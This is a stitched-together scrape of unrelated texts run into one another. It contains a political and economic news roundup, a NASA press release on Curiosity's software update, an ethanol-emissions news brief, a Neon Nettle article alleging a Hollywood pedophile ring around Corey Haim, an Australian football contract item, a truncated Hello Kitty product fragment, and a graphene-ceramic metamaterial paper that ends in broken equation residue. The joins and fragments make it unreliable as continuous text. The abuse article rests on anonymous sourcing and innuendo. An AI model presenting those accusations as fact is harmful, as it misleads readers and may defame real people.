KELLER: Dark Heritage. "The Heritage Foundation has never made a secret of its conservative political orientation, but it has generally tried to remain within plausible boundaries of analysis. Heritage gives you data with lots of spin, but tends to avoid being downright outlandish...But on immigration, something else is going on...[T]his is an unusually stark sign of the transformation of Washington’s think tank culture into a more partisan archipelago of propaganda factories." Bill Keller in The New York Times.
Internet hivemind interlude: Where in the world is Wikipedia being edited?
2. Sebelius and the solicitations
Budget request denied, Sebelius turns to health executives to finance Obamacare. "Health and Human Services Secretary Kathleen Sebelius has gone, hat in hand, to health industry officials, asking them to make large financial donations to help with the effort to implement President Obama’s landmark health-care law, two people familiar with the outreach said. Her unusual fundraising push comes after Congress repeatedly rejected the Obama administration’s requests for additional funds to set up the Affordable Care Act, leaving HHS to implement the president’s signature legislative accomplishment on what officials have described as a shoestring budget." Sarah Kliff in The Washington Post.
...But HHS says they're in the clear. "HHS spokesman Jason Young said the fundraising push serves the department's basic goals. "Part of our mission is to help uninsured Americans take advantage of new affordable, high quality insurance options that are coming, thanks to the health law," he said. "For the last several months the Secretary has been working with a full range of stakeholders who share in the mission of getting Americans the help they need and deserve."" Sam Baker in The Hill.
@AlecMacGillis: With GOP blocking funds for ACA implementation, Sebelius begs for $$ from insurers the law will regulate. # brilliant
Dangers found in weak Medicare Part D oversight. "[A]n investigation by ProPublica has found the program, in its drive to get drugs into patients’ hands, has failed to properly monitor safety. An analysis of four years of Medicare prescription records shows that some doctors and other health professionals across the country prescribe large quantities of drugs that are potentially harmful, disorienting or addictive for their patients. Federal officials have done little to detect or deter these hazardous prescribing patterns." Tracy Weber, Charles Ornstein, and Jennifer LaFleur in The Washington Post.
Small business worried about tax on insurance providers. "Many small-business owners worry that a new tax on insurance providers in the health-care law will mean higher premiums for them, undermining the law’s capacity to lower their health-care costs. Starting next year, the federal government will charge a new fee on health insurance firms based on the plans they sell to individuals and companies, known as the fully insured market." J.D. Harrison in The Washington Post.
@markknoller: HHS today announced $150-million initiative to get uninsured Americans signed up for coverage under ObamaCare.
Study: Nearly one third of all death certificates are wrong. "Death certificates are important public health documents. They help epidemiologists understand leading causes of deaths and how they are changing. They power big studies of what killed us in the past — and what kills us now. And, according to a new Center for Disease Control study, about a third of them may be wrong...As to why doctors were reporting inaccurate causes of death, it actually appears to be a weirdly bureaucratic reason: Three-quarters said the system they use in New York City would not accept what they thought to be the real cause of death. So they put in something else instead." Sarah Kliff in The Washington Post.
Music recommendations interlude: Commander Chris Hadfield of the International Space Station doing his version of David Bowie, "Space Oddity."
3. The long wake of the financial crisis
"Be regulated? Who? Me?" cry bond-rating agencies. "Lawmakers told the Securities and Exchange Commission nearly three years ago to shake up the bond-rating industry's "issuer pays" business arrangement, where clients pay firms such as Standard & Poor's Ratings Services and Moody's Investors Service for their letter grades. Very little has changed. An SEC report that was widely expected to announce regulatory changes arrived six months late—and proposed more discussion rather than an overhaul." Jeannette Neumann in The Wall Street Journal.
Rep. Waters has taken a new attitude towards the banks. "In the past, such grumbling might have set off Ms. Waters’s famous hair-trigger temper. But with each complaint, she leaned in for more, nodding appreciatively. “We’ve heard they chase down silly stuff,” Ms. Waters said, referring to regulators and shaking her head in disapproval. “I’m willing to take a hit” to help lower the capital requirements, she said. She even suggested the bankers hire new lobbyists to better represent them. “Influence us,” Ms. Waters said softly, reminding them of her new role as the ranking Democrat on the House Financial Services Committee. “Help us understand the intricacies of your business.”" Ben Protess in The New York Times.
IPOs set for biggest year since financial crisis. "Already this year, 64 U.S.-listed public offerings have raised $16.8 billion, according to Dealogic. In the same period in 2012, the biggest year in dollars since the financial crisis, 73 companies raised a total of $13.1 billion. Last week alone brought 11 U.S.-listed IPOs, making it the busiest week for such deals since December 2007. A more robust IPO market is seen as a potential boon for the economy because it allows companies to raise money that can be used to reduce debt or invest in their businesses." Telis Demos and Matt Jarzemsky in The Wall Street Journal.
Explainer: Key economic data coming your way this week. Amrita Jayakumar in The Washington Post.
Economic road ahead clearing, but the going is slow. "Experts expect the steady path to continue. In the latest Wall Street Journal survey of economists, forecasters said they expect employers to add just under 180,000 jobs a month over the next 12 months, about the same pace as the past two years. They think overall economic growth has slowed somewhat from the first three months of the year but will quickly rebound; for the full year, economists expect 2.4% growth, better than the past two years." Ben Casselman and Phil Izzo in The Wall Street Journal.
OK, one more music recommendation interlude: We could give you "Livin' on a Prayer" by Jon Bon Jovi, or "Sweet Dreams" by The Eurythmics...but we think you'll enjoy this gas station karaoke version more.
4. Who wants the immigrants?
The Rust Belt is calling out for immigrants. "Worries over immigrants potentially taking jobs from native-born Americans run high in parts of the nation, but some U.S. cities are taking a different view: Wooing immigrants can reverse long-term declines in population. Cities, mostly in the Midwest and mid-Atlantic states, are betting that attracting foreign-born residents can spur business creation and revive neighborhoods. Steps vary from proclamations welcoming immigrants, to adding staff focused on attracting newcomers and translating government websites, to efforts to connect international students with local companies." Mark Peters and Jack Nicas in The Wall Street Journal.
...And some countries are lobbying to send us more. "[Some countries] succeeded in winning provisions in the fine print of the 867-page immigration bill now before Congress that give their citizens benefits not extended to most other foreigners. Ireland and South Korea extracted measures that set aside for their citizens a fixed number of the highly sought special visas for guest workers seeking to come to the United States. Poland got language that would allow it to join the list of nations whose citizens can travel to the United States as tourists without visas. And Canadians successfully pushed for a change that would permit its citizens who are 55 and older and not working to stay in the United States without visas for as much as 240 days each year, up from the current 182." Eric Lipton in The New York Times.
Why Sen. Lee wants to exempt household help from immigration enforcement. "Among them is an offering from Sen. Mike Lee (R-Utah). The libertarian-leaning Republican proposed an amendment to exempt “cooks, waiters, butlers, housekeepers, governessess, maids, valets, baby sitters, janitors, laundresses, furnacemen, caretakers, handymen, gardeners, footmen, grooms, and chauffeurs of automobiles for family use” from E-Verify, the federal government’s system that enables employers to check on the legal status of their employees...That vaguely aristocratic connotation earned it the moniker of the “Downtown Abbey amendment” from Adam Serwer at Mother Jones. Unsurprisingly, Lee’s office objects vehemently to this characterization." Dylan Matthews in The Washington Post.
Delicious interlude: Kids tasting some types of food for the first time. And in slow-mo, of course.
5. It's the beginning of the end for monetary stimulus
Fed maps exit from stimulus. "Federal Reserve officials have mapped out a strategy for winding down an unprecedented $85 billion-a-month bond-buying program meant to spur the economy—an effort to preserve flexibility and manage highly unpredictable market expectations. Officials say they plan to reduce the amount of bonds they buy in careful and potentially halting steps, varying their purchases as their confidence about the job market and inflation evolves. The timing on when to start is still being debated." Jon Hilsenrath in The Wall Street Journal.
If Yellen's the next head of the Fed, her big challenge is exit strategy. "Ms. Yellen is a top contender for the job, assuming Mr. Bernanke steps down when his term ends in January, but her selection is far from certain. She faces a big question among investors: Is she wary enough about the risks of easy money to close the Fed's credit spigot before financial bubbles emerge or consumer prices rise too far?" Jon Hilsenrath in The Wall Street Journal.
U.S. dollar rises on bets Fed will be first to unwind stimulus. "As the U.S. economy showed signs of sustained improvement in past weeks, currency markets have increasingly come to reflect the belief that the Federal Reserve would slow—or even stop—its bond purchases, effectively a way of printing money. This would put upward pressure on the dollar because fewer dollars would be injected into the economy." Rebecca Howard in The Wall Street Journal.
Reading material interlude: The best sentences Wonkblog read today.
Wonkblog Roundup
The mystery of Ben Bernanke and the Japanese ketchup, solved. Neil Irwin.
Why it's hard to campaign your way to the presidency. John Sides.
Why aren't Americans moving anymore? Brad Plumer.
Why Mike Lee wants to exempt household help from immigration enforcement processes. Dylan Matthews.
Thinking Utopian: How about a universal basic income? Mike Konczal.
The fringe universe of Sen. Rand Paul. Ezra Klein.
Study: Nearly one-third of all death certificates are wrong. Sarah Kliff.
Et Cetera
A longread: Frmr. Sen. Snowe has a new book out this week, "Fighting for Common Ground." Amazon.
Republican delays on nominees raise tensions in Congress. Jeremy W. Peters in The New York Times.
Automatic cuts send Pentagon contract awards down 52 percent. Nick Taborek in The Washington Post.
Got tips, additions, or comments? E-mail me.
Wonkbook is produced with help from Michelle Williams.NASA Curiosity Mars Rover Installing Smarts for Driving
PASADENA, Calif. -- NASA's Mars rover Curiosity will spend its first weekend on Mars transitioning to software better suited for tasks ahead, such as driving and using its strong robotic arm.
The rover's "brain transplant," which will occur during a series of steps Aug. 10 through Aug. 13, will install a new version of software on both of the rover's redundant main computers. This software for Mars surface operations was uploaded to the rover's memory during the Mars Science Laboratory spacecraft's flight from Earth.
"We designed the mission from the start to be able to upgrade the software as needed for different phases of the mission," said Ben Cichy of NASA's Jet Propulsion Laboratory in Pasadena, Calif., chief software engineer for the Mars Science Laboratory mission. "The flight software version Curiosity currently is using was really focused on landing the vehicle. It includes many capabilities we just don't need any more. It gives us basic capabilities for operating the rover on the surface, but we have planned all along to switch over after landing to a version of flight software that is really optimized for surface operations."
A key capability in the new version is image processing to check for obstacles. This allows for longer drives by giving the rover more autonomy to identify and avoid potential hazards and drive along a safe path the rover identifies for itself. Other new capabilities facilitate use of the tools at the end of the rover's robotic arm.
While Curiosity is completing the software transition, the mission's science team is continuing to analyze images the rover has taken of its surroundings inside Gale Crater. Researchers are discussing which features in the scene to investigate after a few weeks of initial checkouts and observations to assess equipment on the rover and characteristics of the landing site.
The Mars Science Laboratory spacecraft delivered Curiosity to its target area on Mars at 10:31:45 p.m. PDT on Aug. 5 (1:31:45 a.m. EDT on Aug. 6), which includes the 13.8 minutes needed for confirmation of the touchdown to be radioed to Earth at the speed of light.
Curiosity carries 10 science instruments with a total mass 15 times as large as the science payloads on NASA's Mars rovers Spirit and Opportunity. Some of the tools, such as a laser-firing instrument for checking rocks' elemental composition from a distance, are the first of their kind on Mars. Curiosity will use a drill and scoop, which are located at the end of its robotic arm, to gather soil and powdered samples of rock interiors, then sieve and parcel out these samples into the rover's analytical laboratory instruments.
To handle this science toolkit, Curiosity is twice as long and five times as heavy as Spirit or Opportunity. The Gale Crater landing site at 4.59 degrees south, 137.44 degrees east, places the rover within driving distance of layers of the crater's interior mountain. Observations from orbit have identified clay and sulfate minerals in the lower layers, indicating a wet history.
Mars Science Laboratory is a project of NASA's Science Mission Directorate. The mission is managed by JPL. Curiosity was designed, developed and assembled at JPL, a division of the California Institute of Technology in Pasadena.
For more about NASA's Curiosity mission, visit: http://www.nasa.gov/mars and http://marsprogram.jpl.nasa.gov/msl.
Follow the mission on Facebook and Twitter at: http://www.facebook.com/marscuriosity and http://www.twitter.com/marscuriosity.
Guy Webster / D.C. Agle 818-354-5011
Jet Propulsion Laboratory, Pasadena, Calif.
guy.webster@jpl.nasa.gov / agle@jpl.nasa.gov /
Dwayne Brown/202-358-1726
NASA Headquarters, Washington
Dwayne.c.brown@nasa.gov
2012-238A study by the University of Wisconsin says carbon emissions increase when land is converted into crops for ethanol. The study released this week says the carbon emissions increase since the ethanol mandate in 2007 is equivalent to 20 million new cars driving on America’s roadways every year.
The Milwaukee Journal Sentinel reports the study underscores the unintended consequences of a federal policy meant to reduce America’s reliance on fossil fuels. While adding ethanol means burning fewer fossil fuels, the study found that the benefits were lost as even greater amounts of carbon held in the soil were released into the atmosphere in newly cultivated farm fields.
The study noted major land changes between 2008 and 2012, and the shifting of more than seven million acres into cropland.
The Renewable Fuels Association responded to the study, saying the results were “grossly overstated.” The association pointed out that corn production has fallen more than three percent between 2007 and 2017, while production per-acre increased by 16 percent over that time.
From the National Association of Farm Broadcasting News Service.1.6k SHARES Facebook Stumbleupon Twitter Pinterest Reddit Google
A secret deathbed confession that Corey Haim recorded in his dying moments is set to blow the lid off the Hollywood pedophile ring.
The video statement he made is reported to expose some of Hollywood’s most recognizable faces as child rapists, according to reports.
Haim’s best friend and fellow child star, Corey Feldman, has since blamed the sexual abuse that both had suffered as children as being the tipping point that led to Haim’s drink and drugs fueled death.
The pair had even discussed being the victims of pedophilia in their reality TV show, The Two Coreys after Corey Haim broke down revealing he was raped as a kid.
After his friend’s death, Corey Feldman elaborated that his friend was raped by Hollywood’s Elite at just 11 years old.
Due to the statute of limitations laws in the US, the time has now passed for Feldman to name names without facing prosecution himself for doing so.
Haim’s confession has been described as a “smoking gun” and could be the key to finally bringing justice for his, and many other’s, sexual abuse at the hands of Hollywood’s elite.
According to She Knows, Feldman has been discussing the sick environment of Hollywood child sexual abuse for years, even detailing the abuse both he and Haim suffered in his memoir, Coreyography.
He told The Hollywood Reporter about parties for preteen actors where predators groom their next victims and said that he and Haim had attended many. And he’s not the only one speaking out.
Elijah Wood said he was protected from such predators because his mother would not allow him to attend the parties, and although he later denied firsthand knowledge of rampant sex abuse in the industry, he gave some very telling quotes to the Sunday Times.
“Clearly something major was going on in Hollywood. It was all organized. There are a lot of vipers in this industry, people who only have their own interests in mind,” he said. “There is darkness in the underbelly. If you can imagine it, it’s probably happened.”
Even Alison Arngrim, who played Nellie Oleson on Little House on the Prairie, said the abuse was an open secret in Hollywood.
“I literally heard that they were ‘passed around,'” she told Fox News in 2011.
“The word was that they were given drugs and being used for sex. It was awful — these were kids, they weren’t 18 yet.” “There were all sorts of stories about everyone from their, quote, ‘set guardians’ on down that these two had been sexually abused and were totally being corrupted in every possible way.”
Feldman himself said that Haim was raped by someone who is still a huge name in Hollywood and that his own abusers are still working in the industry — but he is too afraid to name names because of what he calls a very real chance of retribution, legal or otherwise.
READ MORE: Corey Feldman: Pedophilia Is Hollywood’s Biggest Problem (Video)
“I believe that Haim’s rapist was probably connected to something bigger and that is probably how he has remained protected for all these years,” Feldman said in the 2016 THR interview.
“This person uses intimidation and threats as a way to keep people quiet. And all these men were all friends. Ask anybody in our group of kids at that time: They were passing us back and forth to each other.” “I would love to name names. I’d love to be the first to do it,” he continued. “But unfortunately California — conveniently enough — has a statute of limitations that prevents that from happening.” “If I were to go and mention anybody’s name, I would be the one that would be in legal problems and I’m the one that would be sued.”
But now someone might finally be stepping up to the plate to name and shame the alleged abuser. RadarOnline says they’ve been investigating for four years and have the name of the predator: an A-list star who is the “kingpin of a child sex ring.”
And while they are not revealing the name — probably due to that same threat of lawsuit Feldman fears — they say one of Haim’s closest confidantes is preparing to tell all and has been offered a primetime TV special to do so.”
Corey was afraid Hollywood would ostracize him. He was a big star but this man was bigger. He said, ‘No one would ever believe me!‘” a source told Radar.
“It was ugly. To me, Corey was this innocent little Toronto kid. But these men chewed him up and spat him out.” “By exposing the sick and twisted double lives of Haim’s abuser and the likes of Bill Cosby, the veil of secrecy that has protected these creeps will be shattered,” “Their enablers will be exposed. The truth must be told.”
Haim — and the countless others who have been victimized — may finally see justice of some sort, and maybe he can finally rest in peace.
Read more at: http://www.neonnettle.com/features/1021-corey-haim-s-death-bed-confession-set-to-expose-hollywood-pedophile-ringThe Swans are reported to have offered a big money deal to Mason Wood
NORTH Melbourne's bid to re-contract Mason Wood has been set back, with the Sydney Swans making a big play for the young gun forward.
It is believed the Swans' offer for the 22-year-old is up to $500,000 a season and would see him a permanent part of a forward line alongside Lance Franklin and Kurt Tippett.
Prior to injuring his knee on the weekend, Wood had played the last five consecutive matches for the Kangaroos.
It is seen as good money for a player with 16 career games, but a deal the Swans can afford with the likely exit of Ted Richards and the strong possibility that Tom Mitchell will accept an offer from Hawthorn.
Wood’s management would not comment on the specifics of any offers but acknowledged the competition-wide interest in their client.
"There is a lot of demand for Mason,” Strategic Management told Channel Nine.
"He is a key forward who can play tall and short, with the running ability of an elite midfielder. His desire is to remain at North Melbourne, but we do need to ascertain his true market value and hopefully North can get as close to that value as possible."
"Mason is fully committed to North Melbourne and is focusing on his recovery to be back in time for finals."
With key forwards Drew Petrie and Jarrad Waite (both 33 years old) nearing the end of their careers, it would be a major blow to lose the 192cm high-flying talent.Now Sanrio has reintroduced the Hello Kitty massager through a new licensee, Asunarosya. And the company is insisting on the product’s original stated purpose: to ease aching shoulder muscles. For now, the portable massager, featuring |
mechanically robust features of the NAC. The SEM image shows the well‐ordered hierarchically honeycomb microstructure of the GCM (Figure 1b): the rhombus‐like microcells are composed of thousands of arch–shell‐shaped cellular walls as basic elastic units, which are connected by “Y‐shaped” junctions (Figure 1c). Figure 1d shows that the NAC is conformably grown along with the original “wrinkled” morphologies of the graphene sheets to form multi‐nanolayer structures (Figure 1e), signifying a strikingly merged combination and compatibility with the GA templates. Figure 1g schematically illustrates the lattice structure of each layer and the interconnection between the multi‐nanolayers, in which the GCM cellular wall is presented as a sandwiched microstructure with NAC coated on both sides of the as‐formed graphene frameworks.
Figure 1 Open in figure viewerPowerPoint The microstructural characterizations of GCM with bulk density of 1.8 mg cm−1. a) Optical images of the GCM bulk (black at left) and pure NAC aerogel (white at right) after the graphene frameworks were thermally etched. b) SEM image of the 3D GCM with hierarchical honeycomb and well‐ordered interconnected microstructures. c) “Y‐shaped” node of the GCM microstructure. d) Surface morphology of the GCM cellular walls with NAC conformably deposited on a “wrinkled” graphene sheet. e) Typical “wrinkled” microscopy image of a multilayer graphene sheet. f) A schematic of the 3D GCM microstructure with the NAC deposited on the GA framework. g) A TEM image of the GCM cellular wall fragment. h) A high‐resolution TEM image of the GCM cellular wall with sandwiched cross‐section of multilayered graphene cellular wall and the NAC. i) EDS mapping of the GCM elements. j) Carbon element. k) Aluminum element.
The cross‐sectional high‐resolution TEM observation of the GCM cellular wall, as shown in Figure 1g,h, verifies the seamlessly coupled interface between the GA and the NAC of the sandwiched multi‐nanolayer structure, which is beneficial for the strengthening of the GCM's structural elasticity, mechanical robustness, and deformation compatibility. In addition, the sandwiched graphene sheets present a well‐ordered stacked cross‐section by π–π interactions of the LGO sheets with an interlayer spacing of 0.342 nm; the related thicknesses are 8.4, 13.5, and 16.5 nm corresponding to the volumetric densities of the GA template as 4, 8, and 16 mg cm−3, respectively (Figure S2, Supporting Information). In perspective, with the adjustable thickness of the sandwiched graphene sheets and the NAC deposition, the GCM multifunctional nanocomposites with desired structure and mechanical properties could be modularly fabricated by a hydrothermal method, as well as an ALD‐process‐derived “bottom‐up” strategy. The distribution of NAC chemical elements is further detected by energy‐dispersive spectrometry (EDS) mapping, as shown in Figure 1i–k. The uniform growth of the NAC on the GA template has been confirmed, as the pattern of the aluminum element (Al) conformably matches well with carbon (C) that was distributed on the GA template. The clear mapping of elemental oxygen (O) is mainly derived from the Al 2 O 3 compound after ALD, because only a few oxygenic functional groups remained on the GA frameworks after thermal reduction.
The interface bonding and chemical composition of the GCM were further characterized by X‐ray diffraction (XRD), Raman spectroscopy, and X‐ray photoelectron spectroscopy (XPS), as shown in Figure 2. The sharply peaked patterns of the XRD pattern at 2θ = 26.35° (Figure 2a), the increasingly strengthened the vibrational G band at 1587 cm−1, and the emerging phonon 2D band at 2694 cm−1 of the Raman spectra (Figure 2b) jointly reveal sufficient removal of most of the functional groups and the high graphitization of the graphene cellular walls with well‐oriented stacking structures during thermal annealing. Note that the significant shift of the second broad peak from 21.20° for the graphene oxide aerogel (GOA) to 26.31° for the graphene oxide/ceramic metamaterial (GOCM) is due to the partial thermal reduction of the GOA during the ALD process by the plasma and the high reaction temperature at 250 °C. In addition, the GCM presents a higher intensity ratio (I D /I G ) of 1.02 compared to pure reduced GA without NAC deposition (I D /I G = 0.9),32 implying the D band associated with the lattice defects/distortion on the graphene sheets shows slightly higher populations in the GCM, although it was thermally annealed at 1000 °C. This is attributed to the chemical bonds of carbon–oxygen–aluminum (C–O–Al) formed during the ALD reaction between the graphene cellular wall and the NAC. Being different from other free oxygenic groups, it was not possible to remove these oxygen atoms bridging the bilayer at the interface by thermal‐annealing treatment, demonstrating a strong interconnection and strengthening from another perspective.
Figure 2 Open in figure viewerPowerPoint The characterization of structure and chemical composition of GCM compared with LGO, GA, GOA, and GOCM, respectively. a,b) Comparative XRD pattern and Raman spectra. c) XPS survey spectra for all elements (C 1s, N 1s, Al 2p, and O 1s ). d) XPS spectrum for Al 2p of GCM composites.
Besides the uniform distributions of C, O, and Al being visibly confirmed by the EDS mapping (Figure 1i–k), the existence of the NAC, the interface coupling mechanism, and the quantitative analysis of the chemical composition were elaborated by XPS spectroscopy. As demonstrated in Figure 2c, the full spectra of C 1s, N 1s, O 1s, and Al 2p show peaks at 285.3, 400.5, 533.2, and 74.1 eV, respectively. The sharp peak of Al 2P in the GCM confirms the deposition of the NAC by the ALD process, while N 1s is attributed to bridging/crosslinking effects of the EDA in the GA fabrication between amidogen (NH 2 on EDA) and epoxide/carboxyl groups (COC and COOH on LGO). The deconvolution of the C 1s peak in Figure S3 in the Supporting Information indicates a low intensity of the COH (hydroxyl), elimination of the COC (epoxy)/COOH (carboxyl), and the sharp intense peak of CC/CC, jointly imply the recovery of the electrical conduction of the sandwiched graphene sheets in the GCM after sufficient thermal reduction. As shown in Figure 2d, the deconvoluted peaks of the Al 2p spectra, centered at 72.9, 74.4, and 75.8 eV, represent the AlC bond of the residual TMA, the CAlO bond at the interface between the graphene cellular wall and the NAC, and the AlO bond of the NAC, respectively.33, 34 The missing intensity of the AlC bond is because of sufficient plasma purging of the residual TMA during the ALD process, which is further confirmed by Figure S3 in the Supporting Information without the CAl peak appearing in the C 1s spectra (Supporting Information).
Not only do these results directly indicate the existence of NAC deposition, but they also reveal a chemical‐bond‐coupled interface between the sandwiched graphene sheets and the NAC, rather than those of weak physical adhesion in traditional ceramic composites. Comparatively, ALD provides a competitive way to realize scale‐up composition of ceramic and graphene nanocomponents with a chemically bonded interface and a well‐designed deposition process at the atomic level (Figure 2c,d). The defects coupled in the bilayer reduce the chance of breaking, so the emerging multi‐nanolayer structures would present more satisfactory performance than their individual counterparts. Because it is of great fundamental importance for composites to realize mutual strengthening of the mechanical properties and compatible deformation between the ceramic matrix and the graphene fillers,11, 15, 16 such a mechanism of seamless interface coupling, from microdimension to macroscopic scale, is crucial to the compatible manipulation of structural robustness and deformation ability, enabling the multi‐nanolayer cellular walls in the CCM to serve as basic mechanical strengthening and elastic units
Figure 3 presents the mechanical‐property characterization of the GCM by uniaxial quasi‐static compression. As demonstrated in Figure 3a and Video S1 in the Supporting Information, a cylindrical GCM sample, with a 10 nm thickness of NAC deposited on a GA (GA volumetric content of 10 mg cm−3), exhibits fully reversible compressibility with strain up to 80%. It can spring back to the original configuration even when compacted into a thin “wafer” (Video S1, Supporting Information), implying a high strength‐to‐weight ratio up to ≈1000 and outstanding structural robustness under large‐scale deformations. Compared to those of conventional ceramic materials with limited ductility and high brittleness,9, 11, 14, 27, 28 the GCM, composed of two pristine brittle constituents (graphene and ceramic) constructed as honeycomb porous microstructures, exhibits nonlinear superelastic deformation behavior with a “metal‐like” stress terrace appearing. This is due to the dislocated evolution of the GCM microcells with out‐of‐plane elastic bending of the cellular walls,25 which enables these ceramic nanocomposites to serve as highly elastic and ductile metamaterials. Such result is the highest record, with regard to the superelastic deformation (ε e = 80%, ε e is maximum elastic strain) compared to those of reported ceramic composites,9, 11, 14, 26-28 revealing that the ceramic composite can be explored with anomalous properties through nanoscale‐manipulated scale‐up fabrication, including large elasticity and excellent ductility.9, 11, 14, 27, 28
Figure 3 Open in figure viewerPowerPoint The characterization of the mechanical properties of the GCM with GA volumetric content of 10 mg cm−3. a) Uniaxial compression by increasingly elevated strains of 20, 50, 65, and 80% (10 nm NAC). b) The strain–stress curves of 200 cyclic compressions (10 nm NAC). c) The mechanical strengthening effects of NAC deposition on the GA framework (10 nm NAC). d) The relationship between Young's modulus and GCM bulk densities as a power function. e) The mechanism analysis of the NAC‐deposition‐strengthened mechanical‐property parameters. f) Compression of pure 10 nm NCA aerogel after GA framework etching (GA volumetric content of 20 mg cm−3, GCM density of 47 mg cm−3).
To evaluate the fatigue resistance under large‐scale dynamic deformation, a GCM sample was compressed for 200 cycles with a max‐strain up to 80%. As shown in Figure 3b, arising from the fatigue‐induced disattachment of micro‐interfaces and crack propagation of the ceramic layer in the GCM microstructure (Figure S4, Supporting Information), the cyclic strain–stress curves present dramatic strength degradation down to 35% at the first six cycles and a large amount of vibration‐energy absorption. Then, the degeneration becomes slowed down and tends to stability after the 100th cycle with a total strength reduction to ≈48% (the inset of Figure 3b). However, the GCM maintains its original superelasticity and structural robustness without structural collapse during whole dynamic deformation process, suggesting good fatigue resistance and long‐term service life as a damping or protective material. Because of the high bond energies of 431 kJ mol−1 for CO bonds and 512 kJ mol−1 for AlO at the interface between the GA and the NAC, compared to those of weak physical interactions, such as hydrogen bonds for OH… :O of less than 21 kJ mol−1,35 the chemically bonded graphene framework and nanolayer NAC jointly improve the ductility of the ceramic nanocomposites, with the cellular walls of the microcells serving as highly elastic elements on large‐scale deformation.
As shown in Figure S4b in the Supporting Information, some fatigue‐induced microcracks appear on the ceramic layer and extensively propagate from a micro‐/nanoscale split after tens of cyclic compressions with a strain up to 80%. However, the multilayer graphene sheet bridges the cracked ceramic layer and maintains the structural robustness of the GCM (Figure S4c, Supporting Information). The reason for the multilayer graphene sheet fractures being more hysteretic than NAC cracks is the smaller strain at the central line of the GCM cellular walls, achieved by designing a smaller moment of inertia during bending deformation, which further accounts for the enhancement of the ductility of the ceramic nanocomposite. On the other hand, the strength of the GCM presents an increase of more than 200%, from 15.7 kPa for pure GA to 48.7 kPa after deposition of 10 nm‐thick NAC, as shown in Figure 3c. Compared with reported pure carbon or ceramic aerogels possessing 0.00001% of the bulk Young's modulus at a density of less than 0.5% of the bulk,27-29 the deposition of the NAC simultaneously enhances the structural stiffness and indentation resistance over three orders (Young's modulus of 255 kPa for bulk density of 47.4 mg cm−3), making the GCM more extensively useful as functional structure elements (Figure S5, Supporting Information).
As depicted in Figure 3d, the bulk density of the GCM with 10 nm NAC changes from 1.8 to 47 mg cm−3, corresponding to volumetric content of GA ranging from 0.8 to 20 mg cm−3; also, the relationship between E and ρ is almost linear as ρ as E ∝ ρ0.96 ± 0.6. With a change of the NAC thickness from 0 to 40 nm on a single side, the function of E to ρ plots as E ∝ ρ0.90 ± 0.05 (Figure S6a, Supporting Information). As one of the most crucial parameters to evaluate the mechanical properties, the Young's modulus (E) of the GCM specifically depends on both the density (ρ GCM ) of the GCM sample and the thickness of the NAC, rather than being a power function of the single bulk density (E ∝ ρ1.25 ± 0.17) for those conventional porous GA monoliths.25, 29, 36-38 In this regard, a significant nanoscale size effect of the material mechanical properties is demonstrated in the GCM structures.
As shown in Figure 3e, the compressibility and elastic strains dramatically degenerate from 80% to 21.4%, 16.8%, and 6.1%, corresponding to NAC thicknesses of 10, 20, 30, and 40 nm on a single side, respectively. The elasticity of the GCM confirms such a unique size effect on the nanoscale with a significant reduction in compressibility from the superelastic regime, tending to the pristine brittleness of the bulk ceramic composites. There are two characteristic transition points concluded in Figure S6b in the Supporting Information: for NAC less than 10 nm on a single side, the GCM shows anomalous superelasticity with elastic strain up to 80%; when the NAC thickness ranges from 10 to 30 nm, the deformability of the GCM changes to high‐elasticity behavior (elastic strain over 16%) with an dramatic drop of ductility; after NAC deposition as thick as 40 nm, the ductility of the GCM is similar to those of bulk ceramic composites at the macroscale with moderate elastic strain less than 6.1%. Theoretically, the maximum strain that the NAC endures linearly increases as a function of thickness during the bending deformation of the GCM cellular walls, resulting in more elastic behavior for a thinner NAC but a highly brittle feature for thicker ones as applied strain beyond a bond energy of AlO (512 kJ mol−135). Conclusively, deposition of 10 nm of NAC on GA is verified as its optimal balance on both mechanical strength (over 200% stiffness strengthening) and superelastic deformation ability (over 80% compressibility). The superelasticity of the ceramic at the nanoscale can be further confirmed by the high compressibility (over 65% strain) of the pure NAC porous framework after GA is etched from the GCM, as shown in Figure 3f. Pure NAC presents a little degeneration of ductility without bridging and constraint of graphene sheets, compared with two components composited GCMs, which further reveals the contribution of GA on the enhancement of the ceramic nanocomposite's ductility. Moreover, although there are slight changes in both of strength and Young's modulus, the GCM retains its original superelasticity even at high temperature of 1000 °C with compressive strain over 65%, which is superior to that of other elastomers (Figure S7, Supporting Information), such as rubber‐like elastomers degenerating at 300 °C.38 Thus, GCM exhibits a great potential for use as an antithermal shock skin due to its high thermal stability.
A dynamic thermomechanical analyzer was utilized to further demonstrate the viscoelastic stability of the GCM in a broad frequency band (0.1–30 Hz) and temperature range (−100 to 400 °C), as shown in Figure S6c,d in the Supporting Information. Both storage and loss modulus present small sensitivity to frequency fluctuations; thereby, there is great potential for the GCM to work as a protective shield under dynamic excitation, as well as a damping material for the dispersion of vibrations or shock‐energy. A damping ratio (tan delta) as high as 0.06 implies an outstanding energy‐dissipation ability of the GCM under a large volumetric strain of the microcells, making it promising in applications of protective equipment such as body armor, shock absorbers, and damping packages.32 Note that GCM exhibits little dependence on temperature in the range from 75 to 300 °C but is relatively sensitive to other temperature ranges (>300 or <75 °C). This is attributed to the different thermal‐expansion coefficients between the GA and the NAC, which is prone to induce distortion of the GCM cellular wall otherwise. Surprisingly, however, a prominently stable superelasticity has been demonstrated, compared to rubber‐like elastomer being brittle at −50 °C; this GCM retains its original superelastic behavior at more extreme conditions, like temperatures as low as −100 °C or up to 400 °C.
The mechanical‐strengthening effect and superelastic behavior of the GCM at the nanoscale was further confirmed by theoretical analysis and in situ observation of the microcell evolution in SEM compression. Mathematically, as demonstrated in Figure 4, the cellular wall of the GCM was simplified as a mechanical model of a multi‐nanolayer sandwiched slab, to address the mechanism of mutual strengthening between the GA and the NAC. According to the classical Kirchhoff hypothesis, requiring that cross‐sections of the Euler–Bernoulli beam remain planar during bending deformation,39, 40 the strain distribution along the height of the beam follows a linear relationship (Figure 4a). The significant enhancement of the compressive strength of the GCM monolith is attributed to the increase of the bending rigidity of the cellular walls, displayed as bending elements in the microstructure. The NAC nanolayers are partitioned to bear most of the bending moment because of the larger inertia moment (I ∝ h3, I is the inertia moment, h is the height of beam) (Figure 4b,c). Utilizing the continuity of the strain at the chemically bonded interface, the bending moments and partitioned coefficients of the GA and the NAC that are undertaken to address the strengthening effect of the GCM mechanical properties are obtained as:
(1)
(2)
(3)
(4)
GA
GA
GA
GA
GA
Total
GA
GA
2
3
